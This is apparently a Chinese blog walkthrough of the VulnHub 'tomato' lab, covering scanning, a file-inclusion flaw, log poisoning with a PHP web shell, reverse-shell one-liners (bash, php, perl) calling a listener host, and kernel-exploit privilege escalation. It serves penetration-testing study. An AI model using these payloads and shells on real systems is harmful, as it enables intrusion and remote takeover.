当前位置:网站首页>vulnhub之tomato(西红柿)
vulnhub之tomato(西红柿)
2022-07-03 11:05:00 【梅_花_七】
目录
一、主机发现
二、端口扫描
三、服务版本发现
开放了两个http服务端口,使用的中间件不一样。
21端口部署ftp
2211端口部署ssh服务
还知道这是unbuntu系统。

四、信息收集
1.80
果然是个大西红柿,再例行检查下源码,业务有用信息

2.8888
登录框,最经典尝试,弱口令。无法成功
五、扩大供给面扫描目录
1.dirsearch常规字典
啥都没有,换大字典的话dirsearch跑的很慢,所以换gobuster

2.gobuster
是基于go语言开发的,速度快
gobuster dir -u http://192.168.0.101 -w /usr/share/seclists/Discovery/Web-Content/common.txt
301状态码引起我们的注意

六、/antibot_image信息收集
1.从图片判断这服务器部署里反爬虫应用

2.info.php文件
这就是一个phpinfo文件,里面有开关配置信息,服务器环境,配置文件目录等

3.info.php文件源码
注释中出现了信息泄露,很明显是一个include文件包含的函数

七、文件包含
1.参数中对本地文件进行包含
2.对远程文件包含
实操:在kali上创建一个php文件,来远程包含,失败
条件:简单来说远程文件包含,就是可以包含其他主机上的文件,并当成php代码执行。
要实现远程文件包含的话,php配置的allow_url_include = on必须为on(开启)
这点从phpinfo中也可以看出来。他没开
3.通过文件包含漏洞查看私钥
失败,他没有/home/tomato/.ssh/id_rsa
4.查看ubuntu日志文件
/var/log/auth.log
这个日志是unbuntu默认的登陆失败的记录日志。所以我们可以利用ssh或者ftp登录失败注入代码。

5.测试
ssh [email protected] -p 2211
果然我们输入的aaaaaaaaaaaa都出现在了上面,把他更改为木马

6.写入命令执行木马到日志
<?php echo system($_GET['cc'])?>
将这个写入的时候,php代码没有显示,证明服务器存在php运行环境,注入脚本正常解析了

7.参数测试
view-source:http://192.168.0.101/antibot_image/antibots/info.php?image=/var/log/auth.log&cc=id

八、反弹shell
最后利用python反弹成功
1.bash
bash -i >& /dev/tcp/192.168.0.104/4444 0>&1
2.php
php -r '$sock=fsockopen("控制端ip",控制端端口);exec("/bin/bash -i <&3 >&3 2>&3");'
3.perl
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:7777");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

九、内核漏洞枚举提权
1.工具linux-exploit-suggester
sudo apt install linux-exploit-suggester
2.传输工具
服务端:
nc -nvlp 4444 > 1.sh
客户端:
nc 192.168.0.101 4444 < linux-exploit-suggester.sh -w 1
3.挨个尝试

十、CVE-2017-16995

在kali端用gcc编译后,nc上传,给予权限,最后执行。

边栏推荐
- Use typora to draw flow chart, sequence diagram, sequence diagram, Gantt chart, etc. for detailed explanation
- CSRF
- Excel quick cross table copy and paste
- OpenStack中的测试分类
- How PHP solves the problem of high concurrency
- R语言使用data.table包进行数据聚合统计计算滑动窗口统计值(Window Statistics)、计算滑动分组中位数(median)并合并生成的统计数据到原数据集中
- Numpy np. Max and np Maximum implements the relu function
- 量化计算调研
- How to get started embedded future development direction of embedded
- Multi dimensional monitoring: the data base of intelligent monitoring
猜你喜欢

How to get started embedded future development direction of embedded

After using the thread pool for so long, do you really know how to reasonably configure the number of threads?

vulnhub之raven2

Spl06-007 air pressure sensor (example of barometer)

GCC compilation process and dynamic link library and static link library

Excel快速跨表复制粘贴

STL教程9-容器元素深拷贝和浅拷贝问题

Numpy np. Max and np Maximum implements the relu function

rxjs Observable filter Operator 的实现原理介绍

Web安全总结
随机推荐
并发编程-单例
Keepalived中Master和Backup角色选举策略
Machine learning 3.2 decision tree model learning notes (to be supplemented)
Cacti监控Redis实现过程
外插散点数据
Phpcms prompt message page Jump showmessage
【学习笔记】dp 状态与转移
R language uses grid of gridextra package The array function combines multiple visual images of the lattice package horizontally, and the ncol parameter defines the number of columns of the combined g
Hongmeng third training (project training)
This article explains the complex relationship between MCU, arm, MCU, DSP, FPGA and embedded system
Mysql根据时间搜索常用方法整理
FL Studio 20 unlimited trial fruit arranger Download
vulnhub之GeminiInc v2
Uniapp implementation Click to load more
Cadence background color setting
Some common terms
Nestjs configuration service, configuring cookies and sessions
一些常用术语
How to mix embedded MCU, arm and DSP?
vulnhub之momentum